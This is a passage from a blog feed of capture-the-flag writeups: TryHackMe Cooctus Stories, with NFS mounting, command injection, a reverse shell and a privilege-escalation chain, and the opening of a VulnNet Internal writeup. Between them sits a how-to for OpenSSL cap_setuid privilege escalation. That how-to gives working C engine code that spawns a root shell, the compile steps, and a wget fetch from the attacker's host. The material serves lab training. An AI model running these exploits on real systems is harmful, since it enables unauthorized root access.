you want. I prefer /tmp.)</li><li>Make a directory where the files of the other system would be mounted. Call it whatever you want.</li><li>Mount the shares using sudo mount --type nfs. Make sure to sudo!</li></ol><pre>┌──(kali㉿kali)-[~]<br>└─$ /tmp</pre><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ mkdir general</pre><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ sudo mount --type nfs 10.10.80.121:/var/nfs/general general<br>[sudo] password for kali:</pre><p>And we have successfully mounted the files shared using NFS. Let’s explore them.</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ cd general   <br>                    <br>┌──(kali㉿kali)-[/tmp/general]<br>└─$ ls<br>credentials.bak                                                                   <br>┌──(kali㉿kali)-[/tmp/general]<br>└─$ cat credentials.bak                  <br>{username}<br>{password was here *nom* *nom* sorry what?}</pre><p>And we get the credentials for the login!</p><h3>2. Foothold</h3><h3>2.1. Getting RCE</h3><p>We finally get in. We see a page where we can put payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ka1b8YCG6mVUFqAZ.png" /></figure><p>It took me a lot of experimentation and time to get RCE. Here’s what I figured.</p><ul><li>Whatever you put in the payload gets echo-ed exactly as is, on the resultant page.</li><li>There may be php or python3 or whatever program running.</li><li>What if the input is not sanitised? How about using “;”?</li><li>Trying out wow”; echo “bruh” — does not work.</li><li>Checking for more, I get this page: <a href="https://owasp.org/www-community/attacks/Command_Injection">OWASP Command Injection</a>, how about “|” in the list?</li></ul><p>I use reverse shells from <a href="https://www.revshells.com/">Reverse Shell Generator</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oQ-pFhgJoP0JCwGC.png" /></figure><p>BONUS:</p><ul><li>I tried other revshells: bash and the mkfifo one. Did not work.</li><li>I tried using &amp; and &amp;&amp;. Also did not work.</li></ul><h3>2.2. Exploring</h3><p>I like to check a couple of things when I first get in any machine:</p><ul><li>What all users exist?</li><li>All files having SUID bits set</li><li>crontab</li><li>Kernel version</li></ul><h4>Users</h4><pre>$ cd /home<br>cd /home<br>$ ls<br>ls<br>paradox  szymex  tux  varg</pre><h4>SUID bits</h4><pre>$ bash -i<br>bash -i<br>paradox@cchq:/home$ find / -type f -perm -u=s 2&gt; /dev/null<br>find / -type f -perm -u=s 2&gt; /dev/null<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/lib/snapd/snap-confine<br>/usr/lib/policykit-1/polkit-agent-helper-1<br>/usr/bin/newgrp<br>/usr/bin/at<br>/usr/bin/pkexec<br>/usr/bin/gpasswd<br>/usr/bin/traceroute6.iputils<br>/usr/bin/passwd<br>/usr/bin/chfn<br>/usr/bin/sudo<br>/usr/bin/chsh<br>/home/varg/CooctOS.py<br>/bin/ping<br>/bin/mount<br>/bin/su<br>/bin/umount<br>/bin/fusermount<br>/sbin/mount.nfs</pre><p><em>One of them pops out!</em></p><pre>paradox@cchq:/home$ ls -la /home/varg/CooctOS.py<br>ls -la /home/varg/CooctOS.py<br>-rwsrws--x 1 varg varg 2146 Feb 20 22:05 /home/varg/CooctOS.py</pre><h4>Kernel Version</h4><pre>paradox@cchq:~$ uname -a<br>uname -a<br>Linux cchq 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux</pre><p>Upto date.</p><h4>crontab</h4><pre>paradox@cchq:~$ cat /etc/crontab  <br>cat /etc/crontab<br># /etc/crontab: system-wide crontab<br># Unlike any other crontab you don&#39;t have to run the `crontab&#39;<br># command to install the new version when you edit this file<br># and files in /etc/cron.d. These files also have username fields,<br># that none of the other crontabs do.</pre><pre>SHELL=/bin/sh<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin</pre><pre># m h dom mon dow user  command<br>17 *    * * *   root    cd / &amp;&amp; run-parts --report /etc/cron.hourly<br>25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )<br>47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )<br>52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )<br>* *     * * *   szymex  /home/szymex/SniffingCat.py<br>#</pre><p>Last line looks <em>very</em> interesting.</p><h3>2.3. Info Gathered</h3><ul><li>/home/szymex/SniffingCat.py is running every minute, by the user szymex</li><li>/home/varg/CooctOS.py has SUID set Okay. We are ready for PrivEscs.</li></ul><h3>3. PrivEsc</h3><h3>3.1. szymex</h3><p>Exploring inside szy, we get a file called note_to_para and SniffingCat.py.</p><pre>paradox@cchq:/home/szymex$ cat note_to_para<br>cat note_to_para<br>Paradox,</pre><pre>I&#39;m testing my new Dr. Pepper Tracker script. <br>It detects the location of shipments in real time and sends the coordinates to your account.<br>If you find this annoying you need to change my super secret password file to disable the tracker.</pre><pre>You know me, so you know how to get access to the file.</pre><pre>- Szymex</pre><p>Looks like szy has some password there. Let’s open it up.</p><pre>paradox@cchq:/home/szymex$ cat SniffingCat.py<br>cat SniffingCat.py<br>#!/usr/bin/python3<br>import os<br>import random</pre><pre>def encode(pwd):<br>    enc = &#39;&#39;<br>    for i in pwd:<br>        if ord(i) &gt; 110:<br>            num = (13 - (122 - ord(i))) + 96<br>            enc += chr(num)<br>        else:<br>            enc += chr(ord(i) + 13)<br>    return enc<br></pre><pre>x = random.randint(300,700)<br>y = random.randint(0,255)<br>z = random.randint(0,1000)</pre><pre>message = &quot;Approximate location of an upcoming Dr.Pepper shipment found:&quot;<br>coords = &quot;Coordinates: X: {x}, Y: {y}, Z: {z}&quot;.format(x=x, y=y, z=z)</pre><pre>with open(&#39;/home/szymex/mysupersecretpassword.cat&#39;, &#39;r&#39;) as f:<br>    line = f.readline().rstrip(&quot;\n&quot;)<br>    enc_pw = encode(line)<br>    if enc_pw == &quot;{encoded_password_was_here_mmm}&quot;:<br>        os.system(&quot;wall -g paradox &quot; + message)<br>        os.system(&quot;wall -g paradox &quot; + coords)</pre><p>What’s happening here?</p><ul><li>Every minute (for eternity) the above script is run</li><li>The script opens a mysupersecretpassword.cat file and checks if the thing put in can be encoded to be same.</li><li>We need to find the string that encodes as the above. Python3 scripting time!</li></ul><p>Here’s what I came up with:</p><pre>import string<br></pre><pre>def encode(pwd):<br>    enc = &quot;&quot;<br>    for i in pwd:<br>        if ord(i) &gt; 110:<br>            num = (13 - (122 - ord(i))) + 96<br>            enc += chr(num)<br>        else:<br>            enc += chr(ord(i) + 13)<br>    return enc<br></pre><pre>ans = &quot;&quot;<br>for c in &quot;{yee_haww}&quot;:<br>    save = None<br>    for x in string.printable:<br>        save = x<br>        if encode(x) == c:<br>            break<br>    ans += save<br>print(ans)</pre><p>After cracking this, maybe we can try directly sudo-ing into szymex?</p><pre>paradox@cchq:~$ su szymex<br>su szymex<br>Password:</pre><pre>szymex@cchq:/home/paradox$ cd ~<br>cd ~<br>szymex@cchq:~$</pre><p>Works!</p><h3>3.2. tux</h3><p>I was stuck here for a bit, before I tried id.</p><pre>szymex@cchq:~$ id<br>id<br>uid=1001(szymex) gid=1001(szymex) groups=1001(szymex),1004(testers)</pre><p>testers looks intersting. Let’s see what all do we have.</p><pre>szymex@cchq:/home/varg$ find / -type f -group testers 2&gt; /dev/null<br>find / -type f -group testers 2&gt; /dev/null<br>/home/tux/tuxling_3/note<br>/home/tux/tuxling_1/nootcode.c<br>/home/tux/tuxling_1/note<br>/media/tuxling_2/private.key<br>/media/tuxling_2/note<br>/media/tuxling_2/fragment.asc</pre><p>Woah. That’s a lotta files. Going through them,</p><p>Note 3:</p><pre>Hi! Kowalski here. <br>I was practicing my act of disappearance so good job finding me.</pre><pre>Here take this,<br>The last fragment is: {wow3}</pre><pre>Combine them all and visit the station.</pre><p>Note 1:</p><pre>#include &lt;stdio.h&gt;</pre><pre>#define noot int<br>#define Noot main<br>#define nOot return<br>#define noOt (<br>#define nooT )<br>#define NOOOT &quot;{hidden}&quot;<br>#define NooT ;<br>#define Nooot nuut<br>#define NOot {<br>#define nooot key<br>#define NoOt }<br>#define NOOt void<br>#define NOOT &quot;NOOT!\n&quot;<br>#define nooOT &quot;{hidden}&quot;<br>#define noOT printf<br>#define nOOT 0<br>#define nOoOoT &quot;What does the penguin say?\n&quot;<br>#define nout &quot;{hidden}&quot;</pre><pre>noot Noot noOt nooT NOot<br>    noOT noOt nOoOoT nooT NooT<br>    Nooot noOt nooT NooT</pre><pre>    nOot nOOT NooT<br>NoOt</pre><pre>NOOt nooot noOt nooT NOot<br>    noOT noOt NOOOT nooOT nout nooT NooT<br>NoOt</pre><pre>NOOt Nooot noOt nooT NOot<br>    noOT noOt NOOT nooT NooT<br>NoOt</pre><p>Its C code, with a lot of #s. Compiling, we get:</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ ./a.out<br>What does the penguin say?<br>NOOT!</pre><p>Not helpful. Although, looking at the source more closely, we can see some hex strings. They are in the line which I have translated below.</p><p>... printf *** **** *** ; ...</p><p>We get the first string!</p><p>Note 2:</p><pre>szymex@cchq:/home/varg$ cat /media/tuxling_2/note<br>cat /media/tuxling_2/note<br>Noot noot! You found me. <br>I&#39;m Rico and this is my challenge for you.</pre><pre>General Tux handed me a fragment of his secret key for safekeeping.<br>I&#39;ve encrypted it with Penguin Grade Protection (PGP).</pre><pre>You can have the key fragment if you can decrypt it.</pre><pre>Good luck and keep on nooting!</pre><p>Looks like we are looking at a pgp key.</p><pre>szymex@cchq:~$ file /media/tuxling_2/fragment.asc<br>file /media/tuxling_2/fragment.asc<br>/media/tuxling_2/fragment.asc: PGP message Public-Key Encrypted Session Key (old)</pre><p>I initially tried breaking it, but then I saw the /media/tuxling_2/private.key file. Import the key and we are done!</p><pre>szymex@cchq:~$ file /media/tuxling_2/fragment.asc<br>file /media/tuxling_2/fragment.asc<br>/media/tuxling_2/fragment.asc: PGP message Public-Key Encrypted Session Key (old)</pre><pre>szymex@cchq:~$ gpg --import /media/tuxling_2/private.key<br>gpg --import /media/tuxling_2/private.key<br>gpg: key B70EB31F8EF3187C: public key &quot;TuxPingu&quot; imported<br>gpg: key B70EB31F8EF3187C: secret key imported<br>gpg: Total number processed: 1<br>gpg:               imported: 1<br>gpg:       secret keys read: 1<br>gpg:   secret keys imported: 1<br>szymex@cchq:~$ gpg --decrypt /media/tuxling_2/fragment.asc<br>gpg --decrypt /media/tuxling_2/fragment.asc<br>gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20<br>      &quot;TuxPingu&quot;<br>The second key fragment is: {wow2}</pre><p>We have all the fragments now! But now what? I tried breaking the cipher, but it didn’t work. What if it were a hash instead? Going to <a href="https://crackstation.net/">CrackStation</a> we get the cracked hash!</p><h3>3.3 varg</h3><p>In this user I saw a .ssh folder. Good news! Here’s how to ssh into the tux user.</p><ol><li>Go to ~/.ssh on your machine</li><li>Get your id_rsa.pub</li><li>echo &quot;{your_id_rsa.pub here} &gt; authorized_keys&quot;</li><li>SSH in!</li></ol><pre>┌──(kali㉿kali)-[~/.ssh]<br>└─$ ssh tux@10.10.59.77                     <br>The authenticity of host &#39;10.10.59.77 (10.10.59.77)&#39; can&#39;t be established.<br>ECDSA key fingerprint is SHA256:7/RM1nMYqyZHC8ICXMcPUC3vIVlZuQab39ZsXs9Q+NI.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;10.10.59.77&#39; (ECDSA) to the list of known hosts.<br>Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)</pre><pre> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage</pre><pre>  System information as of Wed Jun 23 06:55:44 UTC 2021</pre><pre>  System load:  0.08               Processes:           118<br>  Usage of /:   35.2% of 18.57GB   Users logged in:     0<br>  Memory usage: 66%                IP address for eth0: 10.10.59.77<br>  Swap usage:   0%<br></pre><pre> * Canonical Livepatch is available for installation.<br>   - Reduce system reboots and improve kernel security. Activate at:<br>     https://ubuntu.com/livepatch</pre><pre>0 packages can be updated.<br>0 of these updates are security updates.<br></pre><pre>Last login: Mon Feb 22 18:43:28 2021<br>tux@cchq:~$</pre><p>Exploring a bit, we see -</p><pre>tux@cchq:/home/varg/cooctOS_src/games$ cat note<br>Hey Varg! </pre><pre>I&#39;ve created a little game called Adventure. <br>If you like it, we could ship it with the OS when it&#39;s ready :)</pre><pre>- Tux</pre><p>Game was nice (i got the easter egg too XD). But now what? There was a .git directory that I missed. Checking it out, we have:</p><pre>tux@cchq:/home/varg/cooctOS_src$ git log<br>commit 8b8daa41120535c569d0b99c6859a1699227d086 (HEAD -&gt; master)<br>Author: Vargles &lt;varg@cchq.noot&gt;<br>Date:   Sat Feb 20 15:47:21 2021 +0000</pre><pre>    Removed CooctOS login script for now</pre><pre>commit 6919df5c171460507f69769bc20e19bd0838b74d<br>Author: Vargles &lt;varg@cchq.noot&gt;<br>Date:   Sat Feb 20 15:46:28 2021 +0000</pre><pre>    Created git repo for CooctOS</pre><p>Maybe something was hidden in the later commits? Let’s see the diff.</p><pre>+print(&quot;CooctOS 13.3.7 LTS cookie tty1&quot;)<br>+uname = input(&quot;\ncookie login: &quot;)<br>+pw = input(&quot;Password: &quot;)<br>+<br>+for i in range(0,2):<br>+    if pw != &quot;{woah_not_so_fast_copy_cat_man}&quot;:<br>+        pw = input(&quot;Password: &quot;)<br>+    else:<br>+        if uname == &quot;varg&quot;:<br>+            os.setuid(1002)<br>+            os.setgid(1002)<br>+            pty.spawn(&quot;/bin/rbash&quot;)<br>+            break<br>+        else:<br>+            print(&quot;Login Failed&quot;)<br>+            break</pre><p>Ah yes! We get the creds.</p><pre>tux@cchq:/home/varg/cooctOS_src$ su varg<br>Password: <br>varg@cchq:~/cooctOS_src$ cd ~<br>varg@cchq:~$</pre><h3>3.4. root</h3><p>I checked the sudo permissions:</p><pre>varg@cchq:~$ sudo -l<br>Matching Defaults entries for varg on cchq:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</pre><pre>User varg may run the following commands on cchq:<br>    (root) NOPASSWD: /bin/umount</pre><p>GTFOBins only mentioned that of /bin/mount and not /bin/umount. What next? Realise that we may have something intersting mounted :D</p><pre>varg@cchq:~$ df -ha<br>...</pre><pre>/dev/mapper/ubuntu--vg-ubuntu--lv   19G  6.6G   12G  38% /opt/CooctFS<br>...</pre><p>Here’s what happened:</p><ul><li>df reports file system disk space usage</li><li>-h flag is human readable, because we did</li><li>-a flag which displays everything</li></ul><p>Going in however, we see only:</p><pre>varg@cchq:/dev/mapper$ cd /opt/CooctFS<br>varg@cchq:/opt/CooctFS$ ls<br>bin  boot  etc  games  lib  run  tmp  var</pre><p>Its the same as what we saw before. But hold up! Recall the sudo permissions to umount? Let’s do it!</p><pre>varg@cchq:/opt/CooctFS$ sudo umount /opt/CooctFS<br>umount: /opt/CooctFS: target is busy.<br>varg@cchq:/opt/CooctFS$ cd /<br>varg@cchq:/$ sudo umount /opt/CooctFS<br>varg@cchq:/$ cd -<br>/opt/CooctFS<br>varg@cchq:/opt/CooctFS$ ls<br>root</pre><p><strong>Wait what happened here?</strong></p><ul><li>We were allowed to run sudo /bin/umount or just sudo umount <em>without</em> a password</li><li>The /opt/CooctFS/root/ folder existed in the /opt/CooctFS/ folder <em>beforehand</em></li><li>We were not able to see this because there was the other stuff listed out, which in effect, <em>hid</em> the /root/ directory till we lifted the mount.</li></ul><p>You can explore more on the <a href="https://linux.die.net/man/8/mount">linux mount</a> what <strong>exactly</strong> was happening. Look for the bind keyword! Thanks to @crazyjointje for the explaination and andother fellow hacker for pointing out the bind functionality (#room-hints, TryHackMe Discord).</p><p>Nice. Let’s see the contents -</p><pre>varg@cchq:/opt/CooctFS$ cd root/<br>varg@cchq:/opt/CooctFS/root$ ls -la<br>total 28<br>drwxr-xr-x 5 root root 4096 Feb 20 09:16 .<br>drwxr-xr-x 3 root root 4096 Feb 20 09:09 ..<br>lrwxrwxrwx 1 root root    9 Feb 20 09:15 .bash_history -&gt; /dev/null<br>-rw-r--r-- 1 root root 3106 Feb 20 09:09 .bashrc<br>drwx------ 3 root root 4096 Feb 20 09:09 .cache<br>drwxr-xr-x 3 root root 4096 Feb 20 09:09 .local<br>-rw-r--r-- 1 root root   43 Feb 20 09:16 root.txt<br>drwxr-xr-x 2 root root 4096 Feb 20 09:41 .ssh<br>varg@cchq:/opt/CooctFS/root$ cat root.txt<br>hmmm...<br>No flag here. You aren&#39;t root yet.</pre><p>But … we have the .ssh folder. Do you know dear reader, what that means? We can login as root! cat the id_rsa private key, copypaste it on your system</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ chmod 600 id_rsa</pre><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ ssh -i id_rsa root@10.10.59.77<br>Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)</pre><pre> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage</pre><pre>  System information as of Wed Jun 23 07:25:01 UTC 2021</pre><pre>  System load:  0.08               Processes:           125<br>  Usage of /:   35.2% of 18.57GB   Users logged in:     1<br>  Memory usage: 63%                IP address for eth0: 10.10.59.77<br>  Swap usage:   0%<br></pre><pre> * Canonical Livepatch is available for installation.<br>   - Reduce system reboots and improve kernel security. Activate at:<br>     https://ubuntu.com/livepatch</pre><pre>0 packages can be updated.<br>0 of these updates are security updates.</pre><pre>Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings<br></pre><pre>Last login: Sat Feb 20 22:22:12 2021 from 172.16.228.162<br>root@cchq:~#</pre><p>And … we are done!</p><p><em>Originally published at </em><a href="https://chaudhary1337.github.io/p/tryhackme-cooctus-stories-writeup/"><em>https://chaudhary1337.github.io</em></a><em> on June 25, 2021.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a41433447cfa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to: OpenSSL cap_setuid+ep PrivEsc Exploit]]></title>
            <link>https://chaudharycodes.medium.com/how-to-openssl-cap-setuid-ep-privesc-exploit-934cf520e976?source=rss-f9ebac30cbd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/934cf520e976</guid>
            <category><![CDATA[openssl]]></category>
            <category><![CDATA[privesc]]></category>
            <category><![CDATA[capabilities]]></category>
            <category><![CDATA[exploit]]></category>
            <dc:creator><![CDATA[Tanishq Chaudhary]]></dc:creator>
            <pubDate>Thu, 17 Jun 2021 00:00:00 GMT</pubDate>
            <atom:updated>2021-06-17T11:48:04.687Z</atom:updated>
            <content:encoded><![CDATA[<h4>Priviledge Escalation to root user in 7 easy steps.</h4><figure><img alt="OpenSSL image with a lock on it" src="https://cdn-images-1.medium.com/max/728/0*vqOYNSYpMgXFZ9cQ.png" /></figure><p><a href="https://chaudhary1337.github.io/categories/how-to/">how-to</a></p><h3>Priviledge Escalate to root using a cap_setuid capability in OpenSSL.</h3><p>Consider the binary /usr/bin/openssl has capabilities set as: /usr/bin/openssl = cap_setuid+ep Is there a way to become root from a normal user by using this?</p><p>YES! Let’s explore how.</p><h3>0. Checklist: Will It Work For Me?</h3><p>Search all the binaries’ capibilities using: getcap -r / 2&gt;/dev/null.</p><ul><li>getcap is the tool we will use</li><li>-r is the recursive flag</li><li>2&gt;/dev/null directs the standard error stream to /dev/null</li></ul><p><em>If you see </em><em>/usr/bin/openssl = cap_setuid+ep, we are set for success.</em></p><h3>1. Requirements (On Your System)</h3><ol><li>We will use #include &lt;openssl/engine.h&gt; header in our exploit engine file. On debian based systems, use: sudo apt-get install libssl-dev to install.</li><li>gcc</li></ol><h3>2. Getting The Exploit Ready</h3><p>Create a file named openssl-exploit-engine.c with contents as such:</p><pre>#include &lt;openssl/engine.h&gt;<br><br>static int bind(ENGINE *e, const char *id)<br>{<br>  setuid(0); setgid(0);<br>  system(&quot;/bin/bash&quot;);<br>}<br><br>IMPLEMENT_DYNAMIC_BIND_FN(bind)<br>IMPLEMENT_DYNAMIC_CHECK_FN()</pre><p>Check the [2] reference for more information.</p><h3>3. Compiling</h3><p>Run the following:</p><ol><li>gcc -fPIC -o openssl-exploit-engine.o -c openssl-exploit-engine.c</li><li>gcc -shared -o openssl-exploit-engine.so -lcrypto openssl-exploit-engine.o</li></ol><p>Output for 1:</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$  gcc -fPIC -o openssl-exploit-engine.o -c openssl-exploit-engine.c<br>openssl-exploit-engine.c: In function ‘bind’:<br>openssl-exploit-engine.c:5:3: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]<br>    5 |   setuid(0); setgid(0);<br>      |   ^~~~~~<br>openssl-exploit-engine.c:5:14: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]<br>    5 |   setuid(0); setgid(0);<br>      |              ^~~~~~</pre><p>It is safe to ignore warnings here. Resultant is the openssl-exploit-engine.so file.</p><h3>4. Transferring the file</h3><p>Using python3&#39;s http server, and wget or curl on the target machine, we can transfer the file.</p><ol><li>[on your machine] start up python3 server in the directory where you have the file, as such: sudo python3 -m http.server 80. this starts the server on port 80.</li><li>[on target machine] use wget or curl the file as such: wget YOUR_RELEVANT_IP/openssl-exploit-engine.so</li></ol><h3>5. Root (Finally!)</h3><p>Once you have the file, run the following, at the location of the so file.</p><p>openssl req -engine ./openssl-exploit-engine.so</p><p>Sample output</p><pre>user@server:~$ openssl req -engine ./openssl-exploit-engine.so root@server:~# whoami <br>root</pre><p>Enjoy!</p><h3>6. Common Errors</h3><pre>┌──(kali㉿kali)-[/tmp]<br>└─$  gcc -fPIC -o openssl-exploit-engine.o -c openssl-exploit-engine.c<br>openssl-exploit-engine.c:1:10: fatal error: openssl/engine.h: No such file or directory<br>    1 | #include &lt;openssl/engine.h&gt;<br>      |          ^~~~~~~~~~~~~~~~~~<br>compilation terminated.If you get this error, check the section on Requirements.</pre><h3>7. References</h3><ol><li><a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities">Read up more on capabilities</a>.</li><li><a href="https://www.openssl.org/blog/blog/2015/10/08/engine-building-lesson-1-a-minimum-useless-engine/">OpenSSL building a useless engine</a></li><li><a href="https://gtfobins.github.io/gtfobins/openssl/#library-load">How to use the library load feature OpenSSL</a></li></ol><p><em>Originally published at </em><a href="https://chaudhary1337.github.io/p/how-to-openssl-cap_setuid-ep-privesc-exploit/"><em>https://chaudhary1337.github.io</em></a><em> on June 17, 2021.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=934cf520e976" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: VulnNet Internal Writeup]]></title>
            <link>https://chaudharycodes.medium.com/tryhackme-vulnnet-internal-writeup-8f0e4edf5fc5?source=rss-f9ebac30cbd7------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f0e4edf5fc5</guid>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Tanishq Chaudhary]]></dc:creator>
            <pubDate>Thu, 17 Jun 2021 00:00:00 GMT</pubDate>
            <atom:updated>2021-06-17T11:51:45.230Z</atom:updated>
            <content:encoded><![CDATA[<h4>Lots of tools to learn: NFS, Redis &amp; rsync. Top it off with a sweet PrivEsc exploit.</h4><h3>1. Scanning &amp; Enumeration</h3><h3>1.1. Port Scanning</h3><pre>Not shown: 993 closed ports<br>PORT     STATE    SERVICE     VERSION<br>22/tcp   open     ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA)<br>|   256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA)<br>|_  256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (ED25519)<br>111/tcp  open     rpcbind     2-4 (RPC #100000)<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100000  2,3,4        111/tcp   rpcbind<br>|   100000  2,3,4        111/udp   rpcbind<br>|   100000  3,4          111/tcp6  rpcbind<br>|   100000  3,4          111/udp6  rpcbind<br>|   100003  3           2049/udp   nfs<br>|   100003  3           2049/udp6  nfs<br>|   100003  3,4         2049/tcp   nfs<br>|   100003  3,4         2049/tcp6  nfs<br>|   100005  1,2,3      35488/udp6  mountd<br>|   100005  1,2,3      54985/tcp   mountd<br>|   100005  1,2,3      56181/tcp6  mountd<br>|   100005  1,2,3      56789/udp   mountd<br>|   100021  1,3,4      32910/udp   nlockmgr<br>|   100021  1,3,4      42203/tcp6  nlockmgr<br>|   100021  1,3,4      42497/tcp   nlockmgr<br>|   100021  1,3,4      49999/udp6  nlockmgr<br>|   100227  3           2049/tcp   nfs_acl<br>|   100227  3           2049/tcp6  nfs_acl<br>|   100227  3           2049/udp   nfs_acl<br>|_  100227  3           2049/udp6  nfs_acl<br>139/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp  open     netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)<br>873/tcp  open     rsync       (protocol version 31)<br>2049/tcp open     nfs_acl     3 (RPC #100227)<br>9090/tcp filtered zeus-admin<br>Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Host script results:<br>|_clock-skew: mean: -39m57s, deviation: 1h09m16s, median: 1s<br>| nbstat: NetBIOS name: VULNNET-INTERNA, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| Names:<br>|   VULNNET-INTERNA&lt;00&gt;  Flags: &lt;unique&gt;&lt;active&gt;<br>|   VULNNET-INTERNA&lt;03&gt;  Flags: &lt;unique&gt;&lt;active&gt;<br>|   VULNNET-INTERNA&lt;20&gt;  Flags: &lt;unique&gt;&lt;active&gt;<br>|   WORKGROUP&lt;00&gt;        Flags: &lt;group&gt;&lt;active&gt;<br>|_  WORKGROUP&lt;1e&gt;        Flags: &lt;group&gt;&lt;active&gt;<br>| smb-os-discovery: <br>|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)<br>|   Computer name: vulnnet-internal<br>|   NetBIOS computer name: VULNNET-INTERNAL\x00<br>|   Domain name: \x00<br>|   FQDN: vulnnet-internal<br>|_  System time: 2021-06-16T05:50:05+02:00<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2021-06-16T03:50:05<br>|_  start_date: N/A</pre><p>Info gathered:</p><ul><li>ssh open</li><li>rpcbind looks interesting</li><li>rsync working</li><li>SMB open</li></ul><p>Let’s start with SMB.</p><h3>1.2. SMB Enumeration</h3><p>Listing all the shares.</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ smbclient -L 10.10.95.197 -N    </pre><pre>        Sharename       Type      Comment<br>        ---------       ----      -------<br>        print$          Disk      Printer Drivers<br>        shares          Disk      VulnNet Business Shares<br>        IPC$            IPC       IPC Service (vulnnet-internal server (Samba, Ubuntu))<br>SMB1 disabled -- no workgroup available</pre><p>Using smbclient //10.10.95.197/shares -N we can get in, and see all of the files in the directories. We see temp and data directories in shares. One by one, I got all of the files, using the command:get file_name.extension.</p><p>Here’s all of what I got:</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ cat business-req.txt <br>We just wanted to remind you that we’re waiting for the DOCUMENT you agreed to send us so we can complete the TRANSACTION we discussed.<br>If you have any questions, please text or phone us.<br>                                                                        <br>┌──(kali㉿kali)-[/tmp]<br>└─$ cat data.txt <br>Purge regularly data that is not needed anymore<br>                                                                        <br>┌──(kali㉿kali)-[/tmp]<br>└─$ cat services.txt <br>THM{flag_was_here_yee}</pre><p>None of them are interesting, and this looks like a dead end. Let’s check out port 111, rpcbind.</p><h3>1.3. RPC-Bind</h3><p>Googling, we get <a href="https://sites.cns.utexas.edu/oit-blog/blog/port-111-rpcbind-vulnerability">this</a>. A DDoS attack. This is not useful for us.</p><p>Okay, how about the NFS thingy listed in the nmap scan results, inside of RPC bind?</p><h3>1.4. NFS</h3><p>Let’s list them out. The -e or --exports flag gives us the export list of a server.</p><pre>┌──(kali㉿kali)-[~/Desktop/tools/impacket/examples]<br>└─$ showmount --exports 10.10.95.197<br>Export list for 10.10.95.197:<br>/opt/conf *</pre><p>Configuration files are usually very interesting. Let’s get these files on our system.</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ mount -t nfs 10.10.95.197:/opt/conf conf<br>mount.nfs: failed to apply fstab options</pre><p>What is happening here?</p><ul><li>-t or --type helps us specify the type of mount we want to do, which is nfs. Common filesystem types are ext2, xfs, brtfs.</li><li>rest of the syntax is ssh-like</li><li>conf at the end is the name of the emptuy directory on my system</li></ul><p>Don’t forget the sudo option if mount -t nfs gives you errors.</p><pre>┌──(kali㉿kali)-[/tmp]<br>└─$ sudo mount -t nfs 10.10.95.197:/opt/conf conf<br>[sudo] password for kali: <br>                                                                        <br>┌──(kali㉿kali)-[/tmp]<br>└─$ cd conf                  <br>                